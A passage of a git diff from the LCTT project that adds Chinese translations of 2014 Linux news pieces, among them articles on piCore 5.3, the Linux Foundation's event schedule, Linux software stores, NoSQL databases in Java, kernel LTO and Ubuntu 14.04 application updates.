+最后,你可能也想稍微定制一下桌面。在桌面点击鼠标右键,选择改变桌面背景。你会发现一个名为“启动器图标大小”的滚动条。你可以激活这个滚动条,修改结果也可以实时看到。在“行为”选项中,你也可以发现一个选项来选择在应用窗口中显示菜单,而不是在Unity的顶部条那显示。 + +![Change the way menus are displayed](http://i1-news.softpedia-static.com/images/news2/Six-Step-You-Need-to-Take-to-Make-Ubuntu-14-04-LTS-Better-439341-6.jpg) +改变菜单的显示方式 + +以上就是所有的内容。你依据这些做的任何改变都可以将你的Ubuntu 14.04 LTS定制成你自己的版本,而且这些只是针对操作系统外貌的改变,极少针对特性与性能。 + +希望你喜欢! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Six-Step-You-Need-to-Take-to-Make-Ubuntu-14-04-LTS-Better-439341.shtml + +译者:[Hao-Ding](https://github.com/Hao-Ding) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201405/Smallest OS for Raspberry Pi, piCore 5.3, Returns with Linux Kernel 3.14.4.md b/published/201405/Smallest OS for Raspberry Pi, piCore 5.3, Returns with Linux Kernel 3.14.4.md new file mode 100644 index 0000000000..50747667e7 --- /dev/null +++ b/published/201405/Smallest OS for Raspberry Pi, piCore 5.3, Returns with Linux Kernel 3.14.4.md @@ -0,0 +1,42 @@ +最小的树莓派系统 picore5.3,载着3.14.4内核归来 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Smallest-OS-for-Raspberry-Pi-piCore-5-3-Returns-with-Linux-Kernel-3-14-4-443246-2.jpg) +**Tiny Core团队已经宣布,picore 5.3(一个Tiny Core Linux 在树莓派上的移植),刚刚发布了一个新的版本,现在可供下载。** + +Tiny Core的核心开发者实际上同时负责其他大量的同一基础的版本。开发者已经推出了一些变体。有Core版(为有经验的用户提供了命令行界面的基本系统),TinyCore(推荐给有网线连接的新手),和CorePlus(安装映像,不是Live版的)。 + +Tiny Core团队并不是第一次发布这样的Linux版本,但其中有些改进是必要的,虽然除了引入新的Linux内核之外的改变都不大。 + +根据变更日志所述,Linux已经更新到版本3.14.4,树莓派的固件也更新到了它的最新版本(三月版),e2fsprogs已经更新到版本1.42.10, HDMI sound 现在已经支持192 kbit /s速率,CMA和fiq-fsm现在默认启用,现在,卸载meta-extensions时使用sudo。 + +更新树莓派不用移去SD卡了,而且开发者已经发布了一些如何去操作的说明。 + +“下载picore-5.3rc4-boot.tar.gz,解压到一个临时文件夹,然后挂载/mnt/mmcblk0p1并覆盖其内容。它将覆盖引导自定义选项,如果你修改过原来系统中的config.txt和cmdline.txt,需要再修改一次。” + +“如果使用无线远程连接请不要重启,否则你将由于不兼容的内核模块而丢失无线连接!从库里面下载一个匹配内核的模块tcz's后再重启。你必须保证有一个已经更新的系统可以工作。请注意,有可能是库里面仍然没有可用的内核模块扩展,“请阅读官方论坛发布的备注。 + +完整的更新日志可以官网[声明][1]中看到。你现在可以从Softpedia下载[picore 5.3][2]。 + +树莓派带有一个700 MHz的ARM处理器、512 MB的RAM、SD卡插槽和5V MicroUSB供电接口。它还具有RCA和HDMI端口。 + +Tiny Core Linux 的树莓派移植是Robert Shingledecker架构的一个独立系统,现在被一个具有强大社区的小团体所支持。 + +如果你不熟悉的Tiny Core家族的Linux发行版,你只需要知道,这是一个有开源社区开发扩展的一个模块化系统,它通常使用最新Linux内核vmlinuz 3.0,大约5MB core.gz内核。 + + +### Tiny Core Linux piCore 5.3: 免费下载 ### + +- [Tiny Core Linux piCore 5.3 (zip) 多版本][3] [二进制] [14 MB] + +-------------------------------------------------------------------------------- + + +引用: http://news.softpedia.com/news/Smallest-OS-for-Raspberry-Pi-piCore-5-3-Returns-with-Linux-Kernel-3-14-4-443246.shtml + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://forum.tinycorelinux.net/index.php/topic,17061.0.html +[2]:http://linux.softpedia.com/get/Linux-Distributions/Tiny-Core-Linux-piCore-103260.shtml +[3]:http://tinycorelinux.net/5.x/armv6/releases/5.3/ diff --git a/published/201405/The Linux Foundation Delivers Complete 2014 Event Schedule.md b/published/201405/The Linux Foundation Delivers Complete 2014 Event Schedule.md new file mode 100644 index 0000000000..712f1210e2 --- /dev/null +++ b/published/201405/The Linux Foundation Delivers Complete 2014 Event Schedule.md @@ -0,0 +1,108 @@ +Linux基金会发布了2014年全部活动安排 +================================================================================ +Linux基金会改变了原有的活动计划模式,提前公布了一整年的所有活动安排。与此同时还发布了一部视频,可以在这里在线观看:[Linux基金会活动体验][1]。下面介绍一下今年的基金会活动重点关注方向的更多细节。 + +2014年活动安排,包括了北美和欧洲的LinuxCon和CloudOpen,以及Linux Foundation Collaboration Summit,Embedded Linux Conference,Android Builders Summit,和ApacheCon等等。今年北美的LinuxCon和CloudOpen会在芝加哥和Linux Kernel Summit一起合作举行。欧洲的Linux Con和CloudOpen会在德国的杜塞尔多夫举行,一起的还有Embedded Linux Conference, KVM Forum以及Linux Plumbers Conference。 + +“几乎每一个技术部门或社区都渴望能在开放、协作式的开发过程中有所收获。”Linux基金会的行政长官Jimm Zemlin在一份声明中这样说过,“如今,从类似汽车到生命科学再到赌博等各种行业都倾向于依靠共同的知识库和Linux的成功以及开放式开发。” + +下面是2014年Linux基金会活动安排中的亮点,包括一些有趣的云计算活动: + +#### [OpenDaylight Summit][2] #### + +2014年2月4日-5日,凯悦酒店,加利福尼亚州圣克拉拉市。 + +为Software-Defined Networking (SDN)和Network Functions Virtualization (NFV)领域的社团,项目,产品,公司的开发人员和用户举办的一次技术峰会。 + +#### [Linux Storage, Filesystem and MM Summit][3] #### + +2014年3月24日-25日,Meritage度假村,加利福尼亚州纳帕谷。 + +仅限受邀人士的活动,会聚集Linux存储,内存管理和文件系统栈方面工作的开发者和研究员。 + +#### [Linux Foundation Collaboration Summit][4] #### + +2014年3月26日-28日,Meritage度假村,加利福尼亚州纳帕谷。 + +仅限受邀人士的独家峰会,会邀请包括关键内核开发人员,发行版维护人员,独立软件开发商,终端用户,系统供应商,以及其他社区组织参与聚会以及工作组会议,帮助解决如今Linux面临的最紧急的问题。 + +#### [ApacheCon][5] #### + +2014年4月7日-9日,威斯汀酒店,科罗拉多州丹佛市。 + +ApacheCon是唯一这样做的活动,它专注于把100+ Apache Software Foundation项目社区以及其他各个组织的开源项目聚集到一个地方,来推动那些正在构建技术未来和代表了下一代软件开发的工作。它主导了与许多当前最热门的开源项目的合作,包括Apache自己的项目 +比如Cassandra, Cordova, CloudStack, CouchDB, Geronimo, Hadoop, Hive, HTTP Server, Lucene, OpenOffice, Struts, Subversion and Tomcat,以及其他项目。 + +#### [CloudStack Collaboration Conference North America][6] #### + +2014年4月9日-11日,威斯汀酒店,科罗拉多州丹佛市。 + +CloudStack Collaboration Conference North America聚集了建立和管理大型虚拟机网络以及推进顶尖云计算技术方面的开发人员,系统管理员以及运维专家。它为参与者们提供一个可以利用Apache CloudStack来推动他们工作的中性环境。 + +#### [Embedded Linux Conference][7] #### + +2014年4月29日-5月1日,万豪酒店,加利福尼亚州圣何塞市。 + +今年是该活动的10周年,对于在嵌入式产品中使用Linux的公司和开发者来说,它是最重要的厂商中立的技术会议。 + +#### [Android Builders Summit][8] #### + +2014年4月29日-5月1日,万豪酒店,加利福尼亚州圣何塞市。 + +为OEM厂商,设备制造商,系统集成商,系统定制者,以及正在成长的Android和Linux内核开发社区组织的技术峰会, + +#### [LinuxCon North America][9] #### + +2014年8月20日-22日,喜来登酒店,芝加哥市。 + +LinuxCon是北美地区最重要的年度技术会议,聚集了开发者,系统管理员,运维专家,业务负责人,以及更多专业人士,探讨Linux社区的协作和教育机会。 + +#### [CloudOpen North America][10] #### + +2014年8月20日-22日,喜来登酒店,芝加哥市。 + +CloudOpen聚集了驱动云服务以及大数据生态环境的开源项目,产品以及公司,在一起分享传统开源世界的成功案例。 + +#### [LinuxCon Europe][11] #### + +2014年10月13日-15日,杜塞尔多夫会议中心,德国杜赛尔多夫。 + +欧洲LinuxCon聚集了欧洲的Linux社区,从开发者,系统管理员以及运维专家,到业务负责人,以及更多专业人士,探讨Linux社区的协作和教育机会。之前的会议地点包括布拉格和巴塞罗那。 + +#### [CloudOpen Europe][12] #### + +2014年10月13日-15日,杜塞尔多夫会议中心,德国杜赛尔多夫。 + +欧洲CloudOpen聚集了驱动云服务以及大数据生态环境的开源项目,产品以及公司,在一起分享传统开源世界的成功案例。 + +#### [Embedded Linux Conference Europe][13] #### + +2014年10月13日-15日,杜塞尔多夫会议中心,德国杜赛尔多夫。 + +今年是该活动的10周年,对于在嵌入式产品中使用Linux的公司和开发者来说,它是最重要的厂商中立的技术会议。 + +想了解关于Linux基金会活动的更多信息,请访问:[http://events.linuxfoundation.org][14]。 + + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/the-linux-foundation-delivers-complete-2014-event-schedule + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://youtu.be/-WUeelICQ2U +[2]:http://events.linuxfoundation.org/events/opendaylight-summit +[3]:https://events.linuxfoundation.org/events/lsfmm-summit +[4]:https://events.linuxfoundation.org/events/collaboration-summit +[5]:http://events.linuxfoundation.org/events/apachecon-north-america +[6]:http://events.linuxfoundation.org/events/apachecon-north-america +[7]:https://events.linuxfoundation.org/events/embedded-linux-conference +[8]:https://events.linuxfoundation.org/events/android-builders-summit +[9]:http://events.linuxfoundation.org/events/linuxcon +[10]:http://events.linuxfoundation.org/events/cloudopen-north-america +[11]:https://events.linuxfoundation.org/events/linuxcon-europe +[12]:http://events.linuxfoundation.org/events/cloudopen-europe +[13]:http://events.linuxfoundation.org/events/embedded-linux-conference-europe +[14]:http://events.linuxfoundation.org/ diff --git a/published/201405/The Linux Software Store Conundrum.md b/published/201405/The Linux Software Store Conundrum.md new file mode 100644 index 0000000000..393d2376e3 --- /dev/null +++ b/published/201405/The Linux Software Store Conundrum.md @@ -0,0 +1,62 @@ +Linux软件商店的困境 +================================================================================ +> 在调查了各种方案后,我认为Linux需要一个更好的在线软件零售商店。 + +有好几次,我恳求Ubuntu团队考虑改善现在的Ubuntu软件中心。它在旧电脑上几乎就不能用,而就算在主流硬件平台,它采用的软件安装方式还有很大改善空间,尤其是付费软件。 + +我希望这篇文章不仅能让我们认真了解一下目前存在的搜索和安装Linux软件的方式,也许还可以最终找到一种处理付费软件的方法。 + +### Linspire曾经很接近 ### + +不管你喜欢不喜欢被[Xandros][2]收购之前的[Linspire][1]公司,实际上,它早期时候建立的点击运行软件店(CNR)在当时已经超前了许多年。在CNR变成一个尝试在所有发行版上处理所有事情的万能工具之前,Linspire还是提供了我认为对新手最友好的Linux平台软件安装方式。甚至以现在的标准来衡量,在统一环境下轻松地安装开源软件(FoSS)和商业应用这一点上,"经典的"CNR仍值得一提。 + +### 把Steam当作软件商店 ### + +尽管在Linux桌面环境有很多"其他"可用的软件商店,但实际上没有哪个像Ubuntu软件中心那样支持付费应用。而我看到的唯一一个像Ubuntu软件中心那样可以在Linux桌面下发布付费应用的是Valve公司的[Steam][3]数字软件管理器,作为发行付费Linux游戏的商店而闻名。我发现Steam已经用来在其他平台[发行软件][4],所以我认为,Steam也完全可以为Linxu用户发行付费软件。 + +不像其他软件发布工具,Steam专门设计了比其他Linux替代方案更为清晰的付费处理方式。而且,Steam用一种炫目的方式来展示游戏和软件的名字,所以,用户在浏览这些名字的时候能够选中适合自己需求的应用。 + +我并没有建议把Steam当作搜索开源软件的最佳替代方案,我坚决反对这种想法。我的建议是,Steam可以成为一个专门处理拥有专利的应用或游戏软件的跨发行版的选择。 + +### 诞生一个新生态系统 ### + +现在,你也许认为我是一个坚决反对类似Ubuntu软件中心这样的软件发布工具。但事实是,我只是非常希望看到它被改善,并在尽可能多地开源软件上获得成功。再重申一下,尽管我觉得它还需要花点工夫,它还是一个不错的搜索软件的工具。但是就像我之前说过,总的来说,软件中心的付费系统没有提供良好的用户体验。它响应很慢,实际上也没有提供一个有效的工具来检查付费软件的新版本。 + +在这个舞台上,我认为Steam是毫无疑问的优胜者。而且如果我们能够让Steam更多地努力去推出人们实际上希望使用的付费软件-而不仅只限于列出目前Linux系统已有的有限选择-这将会带来几乎无限的需求。 + +想象一下这样一个新的生态系统,付费软件可以通过他们自己的发布工具轻松的发布而不用考虑具体的Linux发行版的依赖。Ubuntu,Arch,OpenSUSE,不管哪个发行版,我认为Steam是一个往Linux世界推出还未被移植软件的工具。在新软件被发布和应用后,更多的会跟上。也许我们甚至会看到大牌露脸?比如Adobe Photoshop和Microsoft Office-如果有愿意付费的用户,我想不到任何任何理由为什么它们不会参与进来。 + +### 困难和挑战 ### + +在Steam能够统一Linux世界软件发布之前还存在一些重要的挑战。第一个挑战来自Linux用户自身:我们保持怀疑和保留态度,而且一直在担心,会不会是下一波"收费威胁"的到来。尽管Valve在通过Steam把游戏发行到不同的Linux发行版上时受到了热烈的欢迎,如果在各种软件都积极地推销过来时,我想这种"欢迎"会冷却一点。 + +另一个闪过我脑海的担心是,Valve是否会接受大量的"垃圾"应用,类似那些你可以在手机应用软件世界看到的。没有比在Steam商店里看到无数的垃圾应用反而优秀应用很难找到这种事情更糟糕的了。我希望我们可以在付费软件的数量和质量种寻找一个平衡。 + +### 没有Steam-没有问题? ### + +我不是那种过于重视任意问题的单一解决方案的人,所以我承认,Steam本身也许并不是为Linux民众发布付费软件的唯一方式。但是,我的问题就会变成:如果没有Steam-还有其他方案吗?我们已经看到类似Ubuntu的发行版正在尝试提供付费软件,但是很明显,[结果][5]并没有那么好。 + +我也确实支持Ubuntu,他们所做的努力为软件中心带来了许多应用,多谢他们的[应用开发者活动周][6]。软件中心是个很好的想法,对于那些休闲应用,每次看看发布了哪些新应用也挺好玩的。但是,很可惜,它没有吸引到Adobe和Microsoft来提供那些高需求软件的非微软和苹果平台的版本。 + +最后,是否存在切实可行的替代方案让付费软件进入Linux世界呢?在企业领域,确实已经有了。 + +### 企业应用 ### + +就我的个人经验来说,我真的不认为付费软件能够在Linux桌面上站稳脚跟,但是我却看到付费软件在未来Linux服务器上的广阔前景。像大多数Linux事物,是在服务器端赚的钱,靠的是提供服务和企业级产品。 + +所以就算Steam能够整合成为一个付费应用的发布平台,恐怕它也不能在企业领域获得太多关注。另一方面,也许我们将来会重新再回到这里,而Steam确实已经成为消费者发布付费Linux软件的地方,而不仅仅是优秀游戏。 + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/open-source/the-linux-software-store-conundrum-1.html + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Linspire +[2]:http://en.wikipedia.org/wiki/Xandros +[3]:http://en.wikipedia.org/wiki/Steam_(software) +[4]:http://store.steampowered.com/software/ +[5]:http://developer.ubuntu.com/2013/04/top-10-ubuntu-app-downloads-for-march/ +[6]:http://developer.ubuntu.com/2013/12/ubuntu-app-developer-week-call-for-papers/ diff --git a/published/201405/The New Open Source StuntRally 2.3 Racing Game Looks Great.md b/published/201405/The New Open Source StuntRally 2.3 Racing Game Looks Great.md new file mode 100644 index 0000000000..21a2550539 --- /dev/null +++ b/published/201405/The New Open Source StuntRally 2.3 Racing Game Looks Great.md @@ -0,0 +1,30 @@ +开源赛车游戏 StuntRally 的新的 2.3 版本看起来棒极了 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/The-new-Open-Source-StuntRally-2-3-Racing-Game-Looks-Great-441726-2.jpg) + +StuntRally是一个有着多达150条特色赛道和大量汽车模型的免费赛车游戏,它刚刚发布了最新的2.3版本,新版本的画质有了很大的提高。 + +该游戏是建立在大量的开源技术上的,如Vdrift,bullet,OGRE,PagedGeometry和MyGUI,虽然在此仅仅举了这几个例子,但是这个游戏绝对不是一个简单的项目。 仅仅从他的特点描述中就能看出,StuntRally大概是在Linux平台上最有前景的开源街机赛车游戏之一。 + +玩家可以从153条赛车轨道和24个关卡中感受到游戏的魅力,并且这款游戏超过四个小时的游戏时间真是业界良心啊。 StuntRally特色功能有幽灵驾驶模式(在比赛中最接近你的赛车的视角),赛道幽灵车(每条赛道上都有一个绿色的幽灵记录车),当然还有回放(保存你得驾驶记录,并且你可以从其他的摄像头视角观看)。当然,游戏中也有教程,锦标赛,挑战赛以及多人比赛等。但是这些功能都仅仅只是表面的特点。 + +如果我们注意到这是一个免费的游戏,仅仅是开发人员在业余时所做的,Stuntrally的图形效果就已经相当不错了。游戏中玩家需要设定八个的图形参数,包裹地形的视差,三维映射,汽车和水中的倒影,水的折射,开花,运动模糊,SSAO,景深,日光和HDR。其中一些最新的功能将需要玩家重新购买一个新的显卡才行。 + +除此之外,开发商还开发了赛道编辑器,允许用户实时编辑比赛道路和它们的参数,通过改变赛道的参数、调整地形,甚至修改自己的赛车,从而让驾驶乐趣倍增。 + +这次的变更说明显示,所有的赛道都被重新制作了,所有的纹理地形贴图已经升级到1K像素,背景噪音目前也有了很多的变化,不再是单一的一种声音,光线现在也有了多个照射路径,更加真实,草的密度现在已经渲染到了一个极致,动态摄像机也已经添加,并且游戏开始的燃料现在取决于轨道长度。 + +此外,用户现在可以选择的地形纹理、草和植被模型窗口,地形编辑,现在按键比之前方便了很多,新版本的编辑器中有大量的修改,比如,图层按钮已被调换,赛道编辑器的起始位置也已经改变,图层,草和植被按钮上的已被更新,对地形和路面参数的表面标签已被添加,等等。 + +关于StuntRally的这一新版本的更多详情,可在[公告][1]中找到。你现在可以从官方[网站][2]下载StuntRally2.3。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/The-new-Open-Source-StuntRally-2-3-Racing-Game-Looks-Great-441726.shtml + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://code.google.com/p/vdrift-ogre/wiki/VersionHistory +[2]:http://sourceforge.net/projects/stuntrally/files/ diff --git a/published/201405/The Top 8 Open Source NoSQL Databases In Java.md b/published/201405/The Top 8 Open Source NoSQL Databases In Java.md new file mode 100644 index 0000000000..9d8fecda6d --- /dev/null +++ b/published/201405/The Top 8 Open Source NoSQL Databases In Java.md @@ -0,0 +1,54 @@ +Java中8个顶级开源NoSQL数据库! +================================================================================ +![NoSQL Databases, Java, Terrastore, Neo4j, Voldemort, HBase, InfoGrid, HyperGraphDB, Perst, NeoDatis ODB](http://www.efytimes.com/admin/useradmin/photo/R6eL24207PM5202014.jpg) + +NoSQL正在崛起。许多企业和用户已经将MySQL数据库替换成了NoSQL数据库。NoSQL使分析非结构化的数据变得更容易,因此开发者必须意识到存在于NoSQL世界中的趋势和工具。 + +#### 1.[Terrastore][1] #### + +新的文档存储技术可以提供先进的伸缩性和弹性而不必牺牲一致性。Terrastore基于Trrracotta,它依赖于一个业界公认的,快速的(而且又酷)集群技术。 + +#### 2.[Neo4j][2] #### + +开源的图形数据库,用Java实现。开发者将Neo4j描述为“嵌入式,基于磁盘,完全事务的Java持久引擎,将数据结构化存储在图中而不是在二维表格中” + +#### 3.[Voldemort][3] #### + +分布式键值存储系统。本质上说是一个大型,分布式,持久的,容错哈希表。对于应用,它可以使用类似active-record或者hibernate的O/R映射工具,这些可以提供水平扩展和更高的可用性,但是会损失巨大的便利性。 + +#### 4.[HBase][4] #### + +Apache HBase是Google的Chang et al开发的,是继其开发的分布式存储系统Bigtable之后的另一个开源的、分布式、版本化的、非关系型数据库。 + +#### 5.[InfoGrid][5] #### + +带有很多额外的软件组件的Web图形数据库,使在图形数据库基础上开发Rest-ful的web应用变得很容易。 + +#### 6.[HyperGraphDB][6] #### + +通用的、可扩展、便携、嵌入式、开源数据存储机制。它是一个特别为人工智能和web语义项目设计的图形数据库,同样可以用于不同大小项目的嵌入式面向对象数据库。 + +#### 7.[Perst][7] #### + +Perst是McObject的开源实现,双许可证,面向对象的嵌入式数据库系统(ODBMS)。它的一个版本是用Java开发的嵌入式数据库,另外一个用C#实现(对于Microsoft .NET Framework的应用而言)。 + +#### 8.[NeoDatis ODB][8] #### + +一个简单的运行在Java、.Net、 Google Android、 Groovy 和 Scala上的对象数据库。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=138992 + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://code.google.com/p/terrastore/ +[2]:http://www.neo4j.org/ +[3]:http://www.project-voldemort.com/voldemort/ +[4]:http://hbase.apache.org/ +[5]:http://infogrid.org/trac/ +[6]:http://www.kobrix.com/hgdb.jsp +[7]:http://www.mcobject.com/perst/ +[8]:http://neodatis.wikidot.com/ diff --git a/published/201405/Torvalds Is Unconvinced By LTO'ing A Linux Kernel.md b/published/201405/Torvalds Is Unconvinced By LTO'ing A Linux Kernel.md new file mode 100644 index 0000000000..0c54445f31 --- /dev/null +++ b/published/201405/Torvalds Is Unconvinced By LTO'ing A Linux Kernel.md @@ -0,0 +1,37 @@ + +Linus对支持链接时优化(LTO)的Linux内核并不看好 +================================================================================ +之前,用于[启用Linux 3.15内核的实验LTO支持][1]的补丁已经发布了一个PR(上拉请求),但Linus Torvalds 还没有决定他是否会接受这段代码到上游的Linux内核…… Linus 仍然没看到链接时优化内核(LTO:ink-time optimizations)的好处,也不确认这段代码是否已准备好放入主干中。 + +[LTO的Linux kernel][2]有一个好处是,可以减小Linux内核镜像的大小,而且更快和更高效。在GCC中配合使用LTO会使整个程序在链接阶段就实现整个的二进制优化。先前的结果表明,一个LTO的内核可以减少超过10%的尺寸大小,并且内核优化后比常规的内核快百分之几,但是它目前的问题是需要占用更多的系统内存以及更长的编译时间。 + +这个推送给Linux 3.15 LTO Kconfig的PR,希望在下一个内核版本中的增加一个实验性选项。作为回复,Linus Torvalds[写道][3]: + +> 到目前为止,我有几个不进行合并的原因(“实验性太强,我们甚至不希望鼓励人们去测试它”,以及“它不是完全可靠,并且使得编译时间变的**很长**"). +> +> 而且至今没有人真正和我讨论过,为什么我*应该*合并它(译注:Linus的意思是说其实没有人真正知道,并且讨论合并LTO的理由)。 +> +>如上,我是这样觉得的,这让我多少动力去合并它。 +> +>所以我认为我应该让“子弹飞一会儿”,_直到_人们开始讨论它带来的好处。最终的结果是到底可以小到什么程度呢?快到什么程度呢?能干的多漂亮呢?是否会有新的更酷的东西出现?那些很酷的事情真地快要来到了吗?真的希望这个可以被合并,甚至在还没完全准备好的情况下? +> +>所以,请说服我。Andi? +> +> Linus + +作为对Linus的关注的回应,LTO内核变得尺寸更小了,通过把未使用代码的自动淘汰,它们减少了对许多低级Kconfig符号的需要、减少了所需的配置选项的数目。来自Tim bird的几个报告显示,在ARM上带有LTO配置的内核可以减少11%的尺寸,而其他用户甚至最多减少了30%。也有报告称系统调用减少了约4%。基准测试的结果根据测试负载有所差异,但一般都有几个百分点的提升。 + +如今,Linux内核是否支持[链接时优化][4]仍然在讨论,Linus 是否愿意合并此实验性功能到Linux 3.15还不明朗。 + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=MTY1OTg + +译者:[owen-carter](https://github.com/owen-carter) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=news_item&px=MTY1ODA +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTY0OTc +[3]:http://lkml.iu.edu/hypermail/linux/kernel/1404.1/00275.html +[4]:http://www.phoronix.com/scan.php?page=search&q=link-time+optimization \ No newline at end of file diff --git a/published/201405/Turn Ubuntu and Debian Jessie into Windows 7 and Windows 8 with WinAte Theme Pack.md b/published/201405/Turn Ubuntu and Debian Jessie into Windows 7 and Windows 8 with WinAte Theme Pack.md new file mode 100644 index 0000000000..f9c3de3942 --- /dev/null +++ b/published/201405/Turn Ubuntu and Debian Jessie into Windows 7 and Windows 8 with WinAte Theme Pack.md @@ -0,0 +1,26 @@ +用WinAte主题包将Ubuntu/Debian Jessie扮成Windows 7/8 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Turn-Ubuntu-and-Debian-Jessie-into-Windows-7-and-Windows-8-with-WinAte-Theme-Pack-443302-3.jpg) + +**WinAte最近刚刚发布一个更新,这个主题包能够将你的Ubuntu/Debian变得看起来像Windows 7/Windows 8。** +(译注,虽然很多人对将好好的Linux扮成Windows不以为然,不过未尝不是一个有趣的体验?) + +曾经有段时间你可以轻易地改变绝大多数Linux发行版的外观,使得他们看起来像是Windows的一个副本,但那种时光已经一去不复返了。只有少数Linux发行版的外观仍能够被修改,而Ubuntu和Debian Jessie正在此列。 + +官网说明道:“有了这个全新的WinAte ———— Windows 7/8 转换包for LXDE(译注:Lightweight X11 Desktop Environment,一个自由桌面环境),你能够得到Windows所有的图标和整体外观,而不用花费大量的资源或者不得不去适应老旧的Gnome 2主题。只需运行install.sh脚本,所有东西就能工作。只需这么做,然后注销,再次登录即可。” + +这个主题包有一些很容易满足的依赖:gtk2-engines-murrine,gtk2-engines-pixbuf,以及 compton。安装过程十分简单,安装说明所有人也都能够轻易理解。 + +这个主题包就外观来说可能最接近于用户长期以来习惯的Windows 7或Windows 8,但它可以用来帮助人们更容易地迁移到Linux。 + +你可以从[gnome-look.org][1]下载WinAte ————Windows 7/8主题包。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Turn-Ubuntu-and-Debian-Jessie-into-Windows-7-and-Windows-8-with-WinAte-Theme-Pack-443302.shtml + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://gnome-look.org/content/show.php/%5BLXDE%5DWinAte+-+Windows+7%2B8+Theme+pack?content=163150 diff --git a/published/201405/Ubuntu 14.04 LTS Major Application Updates.md b/published/201405/Ubuntu 14.04 LTS Major Application Updates.md new file mode 100644 index 0000000000..6bcbfde181 --- /dev/null +++ b/published/201405/Ubuntu 14.04 LTS Major Application Updates.md @@ -0,0 +1,48 @@ +Ubuntu 14.04 LTS中的主要程序变化的总结 +================================================================================ +过去几周我们已经讨论过 Ubuntu 的第一个LTS新版本在过去两年内在操作系统方面的主要更新。今天我们将要列出 Ubuntu 应用程序商店中自从上一个 LTS 版本以来主要的应用程序更新。 + +### 主要的程序和工具更新 ### + +除了大量桌面应用程序更新(下一节讨论)外,两年以来大量的其他程序和工具都有了非常不错的更新。以下讨论其中的一部分: + +- **Xen 4.4** + 对于 Ubuntu 内置的 Xen 这是一个重大更新。最显著的变化就是它不再支持纯32位的 CPU 了(虽然还继续支持32位操作系统)。这不应该是一个大问题,因为过去六年以来大多数CPU都是64位的。但是这意味着那些还在老服务器或笔记本上使用 Ubuntu 的人需要知道 Xen 将不再支持他们的CPU了。 + +- **QEMU 2.0** + 紧接着 Xen 后面介绍 QEMU ,因为为了适应 Xen,QEMU做了些调整。最主要的影响是在 KVM 中创建的虚拟机无法从以前的 Ubuntu 12.04 迁移到这个版本,并且快照也无法恢复。另外,加入了对 arm64 的二进制虚拟。 + +- **MySQL** + 尽管默认安装的是 MySQL 5.5,但是也可以从标准库中安装 Percona, MariaDB 或者 MySQL 5.6。令人意外的是,不像其他的主流发行版,Ubuntu 并没有将数据库换成MariaDB ,继续默认安装 MySQL。我猜测估计是和甲骨文维持了比较好的关系。 + +- **Apache 2.4 和 PHP 5.5** + 有点意外的是 Apache 升级到了2.4版本,毕竟2.2版本已经稳定使用了太久了。但我还是很高兴地看到主流发行版能够跟上新的版本。PHP 早在 12.04 LTS 就可以升级到 PHP 5.5 了,不过新版系统则已经默认安装 PHP 5.5 了。注意:如果你使用的是一些老板 CMS 平台 (嗯嗯,比如DRUPAL), 在升级过程中可能得做一些调整,具体请参考文档。 + +### 软件中心:桌面应用程序升级 ### + +简单来说,软件中心的主要几个软件都有许多重大更新(毕竟距离上个版本已经有两年的时间了)。最明显的软件更新如下: + +- Google Chrome 33 +- Firefox 28 +- Nautilus 3.10 +- The Gimp – 2.8 +- KDE 4.13 (我觉得是最好的桌面环境) + +上面虽然没提,办公套件已经预装了 LibreOffice 4.2.3.3 ,看起来棒极了,不信自己看: + +![Ubuntu 14.04 LTS Libre Office Upgrade](https://linuxacademy.com/blog/wp-content/uploads/2014/05/newlibreoffice4233.png) + +### 总结 ### + +总之,Ubuntu 14.04 LTS 成功的从 12.04 平滑过渡过来了。除非你运气太差,使用了最新版本的 NVidia 显卡(使用 780GTX 或 Titan芯片的 Linux 专用驱动并没有集成到系统中)。 + +以下的几篇文章中,我将深入了解有关显示器和显卡的更多的技术细节(高分辨率显示器更好),同时对 Mir(Xwindows 桌面替换软件) 做一个早期预览测试(当然是在虚拟机环境中)。如果你还有其他想知道的,在评论栏里留言,我们下周见! + + +-------------------------------------------------------------------------------- + +via:https://linuxacademy.com/blog/linux/ubuntu-14-04-lts-major-application-updates/ + +译者:[shipsw](https://github.com/shipsw) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 